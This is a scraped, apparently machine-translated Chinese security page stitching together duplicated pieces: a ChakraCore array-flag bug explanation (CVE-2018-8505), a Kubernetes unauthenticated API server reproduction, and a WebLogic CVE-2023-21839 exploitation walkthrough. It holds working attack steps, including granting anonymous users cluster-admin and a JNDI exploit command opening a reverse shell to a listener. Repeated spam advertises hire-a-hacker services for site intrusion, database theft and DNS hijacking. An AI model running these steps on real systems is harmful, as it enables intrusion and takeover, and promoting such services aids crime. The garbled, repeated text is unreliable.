avaScript 引擎负责运行开发编写的 JS 代码。它由很多部分组成，对我们而言最重要的是 JIT 编译器，它的作用是当有些函数变得很热门被调用很多次时，它会把这个函数编译成机器代码来改进它的性能。JIT 编译器还负责优化代码。它具有很多针对代码的假设，它不希望这些假设崩溃。我们随后会讲讲 JIT 编译器中出现的相关漏洞问题。
来了解下 JavaScript 的基础知识，它是一种动态输入语言，可读性尚可。JS 对象具有“原型”，用于从其它对象中继承各种功能，它在漏洞发现过程中很重要。它可通过 _proto_ 属性更改对象的原型进行修改。 Proxy 是可用于重新定义基础操作的对象。我们可以通过这些基础操作，将调用限制在 getter 和 setter 等函数中。
来看下 ChakraCore。JavaScript 具有数组，而 ChakraCore 具有类型数组。我们来看看第一种类型 JavascriptNativeIntArray。它用于存储整数，每个元素具有四个字节。（举例： varint_arr=[1]）另外一种类型是 JavascriptNativeFloatArray，它用于存储浮点数，和C语言不同，它的每个元素具有8个字节（举例 varfloat_arr=[13.37]）。 JavascriptArray 用于存储对象（主要是指针），每个元素具有8个字节（举例： varobject_arr=[{}]）。
我们来看下如何转换这些类型。
其中最后一种 (也就是 aray2._proto_=array1 中的 array1 直接转换为 JavascriptArray) 转换在 JavaScript 引擎很少见，但对于我们今天讲的主题很重要。当我们有两个数组，并将其中一个设置为另外一个的原型，那么充当原型的这个数组就会被直接转换为 JavascriptArray。这一点我们稍后再着重讲。
我们再来看看这些数组在内存中是什么样的。举个例子：
我们来看看实际在内存中，当调试如下样本代码时，可以看到我们刚才提到的字段状态 (vararr=[0xaaaaaa,0x31377];)。
红框部分是 JavascriptArray 属性，我们能看到数组的初始值，也就是 ArrayFlags 的值。绿框部分是实际的片段属性，它有长度、大小。蓝框是片段的内存布局（包括元素，下图的地址是 pArr->head）。图中右下角我们定义了两个片段。那么什么是 ArrayFlags ？它们是提示数组的某些东西的一些 flag。在这个案例中，它被定义为一个枚举类型。我们感兴趣的字段是 JavascriptArray 的 arrayFlags 字段 HasNoMissingValues（如图）。
在我们的例子中，被我们定义为 ArrayFlags 的 InitialArrayValue 实际上由两个不同的 flag 组成：一个是 ObjectArrayFlagsTag flag，它和我们讲的内容不重要就不讲了；我们将重点看第二个 HasNoMissingValues flag，它说明数组并不存在缺失的值，也就是说数组中不存在任何洞 (holes)。那么，“洞”是什么意思？我们创建一个数组，元素之间有一些值。在 ChakraCore 案例中，它有三个元素，但中间的一个元素是缺失的。
放在这里的值，它们在内存中表示为这些常数。我举这个例子是因为这样我们更容易地能在内存布局中发现它们。
像这里（如图）就存在一个“洞”，它并没有开启 HasNoMissingValues，也就是说数组中存在洞，数组中确实存在缺失的值。这看似很合理，但当我们查看内存布局时，我们会发现一些奇怪之处。我们来看下这些所谓的“缺失的值”是如何在内存中表示的。
这（图）是片段的内存转储，红色部分是数组的元素。我们看到 deadbeef deadbeef ，但在中间即“缺失的值”（“洞”）的位置，我们看到了一些 Magic 常数。 0xfff80002fff80002是从哪里来的？这些常数代表的是“缺失的值”或者说数组中的“洞”似乎能说得通。但如之前所述，我们已经知道有一些东西能代表“缺失的值”，就是没有 HasNoMissingValues flag。而现在我们似乎发现了另外一种表示方法，就是数组的内容（上面提到的 Magic 常量）。
这很奇怪，也引发了很多问题：数组的 flag 和数组的内容不匹配怎么办？ HasNoMissingValues 设为真，那么就意味着不存在任何“洞”；但是 数组中实际上存在一个“缺失的值”。另外，我们在某种程度上把“数据”和“元数据”混为一谈了，因为如果把常量当作控制流，那么我们如果能够伪造它的话就很有意思了。
事实证明，我们真的能够伪造这个“缺失的值”。这是由 @s0rryMybad 和 @lokihardt 发现的漏洞（如上图），获得了CVE 编号 CVE-2018-8505。他们就是把我们之前看到的常量转换为浮点数数组，从而伪造了“缺失的值”，进而发现了漏洞。缓解这个漏洞的方法有很多，可以通过不断更改这个Magic值常量或增加更多的检查加固安全性。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
来了解下 JavaScript 的基础知识，它是一种动态输入语言，可读性尚可。JS 对象具有“原型”，用于从其它对象中继承各种功能，它在漏洞发现过程中很重要。它可通过 _proto_ 属性更改对象的原型进行修改。 Proxy 是可用于重新定义基础操作的对象。我们可以通过这些基础操作，将调用限制在 getter 和 setter 等函数中。
来看下 ChakraCore。JavaScript 具有数组，而 ChakraCore 具有类型数组。我们来看看第一种类型 JavascriptNativeIntArray。它用于存储整数，每个元素具有四个字节。（举例： varint_arr=[1]）另外一种类型是 JavascriptNativeFloatArray，它用于存储浮点数，和C语言不同，它的每个元素具有8个字节（举例 varfloat_arr=[13.37]）。 JavascriptArray 用于存储对象（主要是指针），每个元素具有8个字节（举例： varobject_arr=[{}]）。
我们来看下如何转换这些类型。
其中最后一种 (也就是 aray2._proto_=array1 中的 array1 直接转换为 JavascriptArray) 转换在 JavaScript 引擎很少见，但对于我们今天讲的主题很重要。当我们有两个数组，并将其中一个设置为另外一个的原型，那么充当原型的这个数组就会被直接转换为 JavascriptArray。这一点我们稍后再着重讲。
我们再来看看这些数组在内存中是什么样的。举个例子：
我们来看看实际在内存中，当调试如下样本代码时，可以看到我们刚才提到的字段状态 (vararr=[0xaaaaaa,0x31377];)。
红框部分是 JavascriptArray 属性，我们能看到数组的初始值，也就是 ArrayFlags 的值。绿框部分是实际的片段属性，它有长度、大小。蓝框是片段的内存布局（包括元素，下图的地址是 pArr->head）。图中右下角我们定义了两个片段。那么什么是 ArrayFlags ？它们是提示数组的某些东西的一些 flag。在这个案例中，它被定义为一个枚举类型。我们感兴趣的字段是 JavascriptArray 的 arrayFlags 字段 HasNoMissingValues（如图）。
在我们的例子中，被我们定义为 ArrayFlags 的 InitialArrayValue 实际上由两个不同的 flag 组成：一个是 ObjectArrayFlagsTag flag，它和我们讲的内容不重要就不讲了；我们将重点看第二个 HasNoMissingValues flag，它说明数组并不存在缺失的值，也就是说数组中不存在任何洞 (holes)。那么，“洞”是什么意思？我们创建一个数组，元素之间有一些值。在 ChakraCore 案例中，它有三个元素，但中间的一个元素是缺失的。
放在这里的值，它们在内存中表示为这些常数。我举这个例子是因为这样我们更容易地能在内存布局中发现它们。
像这里（如图）就存在一个“洞”，它并没有开启 HasNoMissingValues，也就是说数组中存在洞，数组中确实存在缺失的值。这看似很合理，但当我们查看内存布局时，我们会发现一些奇怪之处。我们来看下这些所谓的“缺失的值”是如何在内存中表示的。
这（图）是片段的内存转储，红色部分是数组的元素。我们看到 deadbeef deadbeef ，但在中间即“缺失的值”（“洞”）的位置，我们看到了一些 Magic 常数。 0xfff80002fff80002是从哪里来的？这些常数代表的是“缺失的值”或者说数组中的“洞”似乎能说得通。但如之前所述，我们已经知道有一些东西能代表“缺失的值”，就是没有 HasNoMissingValues flag。而现在我们似乎发现了另外一种表示方法，就是数组的内容（上面提到的 Magic 常量）。
这很奇怪，也引发了很多问题：数组的 flag 和数组的内容不匹配怎么办？ HasNoMissingValues 设为真，那么就意味着不存在任何“洞”；但是 数组中实际上存在一个“缺失的值”。另外，我们在某种程度上把“数据”和“元数据”混为一谈了，因为如果把常量当作控制流，那么我们如果能够伪造它的话就很有意思了。
事实证明，我们真的能够伪造这个“缺失的值”。这是由 @s0rryMybad 和 @lokihardt 发现的漏洞（如上图），获得了CVE 编号 CVE-2018-8505。他们就是把我们之前看到的常量转换为浮点数数组，从而伪造了“缺失的值”，进而发现了漏洞。缓解这个漏洞的方法有很多，可以通过不断更改这个Magic值常量或增加更多的检查加固安全性。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
K8s的API Server默认的服务端口是8080（不安全端口）和6443（安全端口）。 8080端口提供HTTP服务，无认证授权机制；6443端口提供HTTPS服务，支持认证（使用token或客户端证书进行认证）和授权服务。默认情况下，8080 端口未启用，6443 端口已启用。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件
如果目标K8s的8080端口开放，由于没有认证授权机制，会出现非法访问的情况。
如果目标K8s的6443端口开放，如果配置不正确，也可能导致越权访问。
### 漏洞重现
#### 1.端口8080
````
默认情况下8080端口是关闭的，需要手动打开。
vim /etc/kubernetes/manifests/kube-apiserver.yaml
````
````
重启k8s
systemctl 重新启动kubectl
#### 2.端口6443
如果配置不当，将“system:anonymous”用户绑定到“cluster-admin”用户组将允许匿名用户以管理员权限访问端口6443。
````
执行以下命令将“system:anonymous”用户绑定到“cluster-admin”用户组
kubectl 创建集群角色绑定cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
``
了解这种未经授权的访问有什么好处呢？或者说我们应该如何使用它？
使用方法如下：
我们可以使用任何安装了kubectl 的机器。简单来说，知道API服务器没有被授权，我们其实可以使用kubectl来执行命令：
````
查看集群信息
kubectl -s http://101.26.108.16:8080 集群信息
正常情况下访问6443端口会提示Forbidden。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
如果目标K8s的8080端口开放，由于没有认证授权机制，会出现非法访问的情况。
如果目标K8s的6443端口开放，如果配置不正确，也可能导致越权访问。
### 漏洞重现
#### 1.端口8080
````
默认情况下8080端口是关闭的，需要手动打开。
vim /etc/kubernetes/manifests/kube-apiserver.yaml
````
````
重启k8s
systemctl 重新启动kubectl
#### 2.端口6443
如果配置不当，将“system:anonymous”用户绑定到“cluster-admin”用户组将允许匿名用户以管理员权限访问端口6443。
````
执行以下命令将“system:anonymous”用户绑定到“cluster-admin”用户组
kubectl 创建集群角色绑定cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
``
了解这种未经授权的访问有什么好处呢？或者说我们应该如何使用它？
使用方法如下：
我们可以使用任何安装了kubectl 的机器。简单来说，知道API服务器没有被授权，我们其实可以使用kubectl来执行命令：
````
查看集群信息
kubectl -s http://101.26.108.16:8080 集群信息
正常情况下访问6443端口会提示Forbidden。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
漏洞概述 RCE漏洞，该漏洞允许未经身份验证的远程网络访问，并通过T3/IIOP协议损坏WebLogic服务器。成功利用该漏洞可导致Oracle WebLogic服务器被接管，并通过**rmi/ldap**远程协议执行远程命令。当**JDK版本过低**或者本地存在小工具（javaSerializedData）时，可能会导致远程代码执行。 可见，CVE-2023-21839是weblogic中的JNDI注入漏洞。 #2.影响范围 Oracle WebLogic 服务器12.2.1.3.0 Oracle WebLogic 服务器12.2.1.4.0 Oracle WebLogic 服务器14.1.1.0.0 # 3. 使用方法 ## 反弹壳 1、启用http://your-ip:7001/console即可看到登录界面1702443149_6579388d089c73411c3f9.png!small?1702443150354 下载漏洞利用工具 JNDIExploit-1.4-SNAPSHOT.jar 2、启动ladp服务，同时在kali上启动监控：1702443160_6579389833615944c36fe.png!small?1702443161247 使用JNDIExploit在vps上开启ldap协议服务。这里注意端口1389和3456是开放的。 ```` java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.111.14 ``1702443167_6579389f98ae7d95fabb0.png!small?1702443169115 漏洞EXP下载： ```` https://github.com/DXask88MA/Weblogic-CVE-2023-21839 ```` 3.启动EXP（注意：jdk版本仍然需要是较低版本，原来的JDK17不需要卸载，只需下载较低版本的JDK并切换即可） ```` java -jar Weblogic-CVE-2023-21839.jar 192.168.111.6:7001 ldap: //192.168.111.14:1389/Basic/ReverseShell/192.168.111.14/9999 java -jar 目标服务器IP地址:端口ldap地址/Basic/ReverseShell/ldap服务器IP地址/nc监听端口 ```` 无明显变化1702443178_657938aadbc16b2a2308f.png!small?1702443179997 4、检查LDAP服务器，成功获取1702443186_657938b2c207489509ffa.png!small?1702443188127 1702443194_657938ba84e2e821bd9f6.png!small?1702443195840 ## DNSlog 流量要点 ```` eg:java -jar Weblogic-CVE-2023-21839.jar 靶场ip:7001 ldap://xxxxx
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM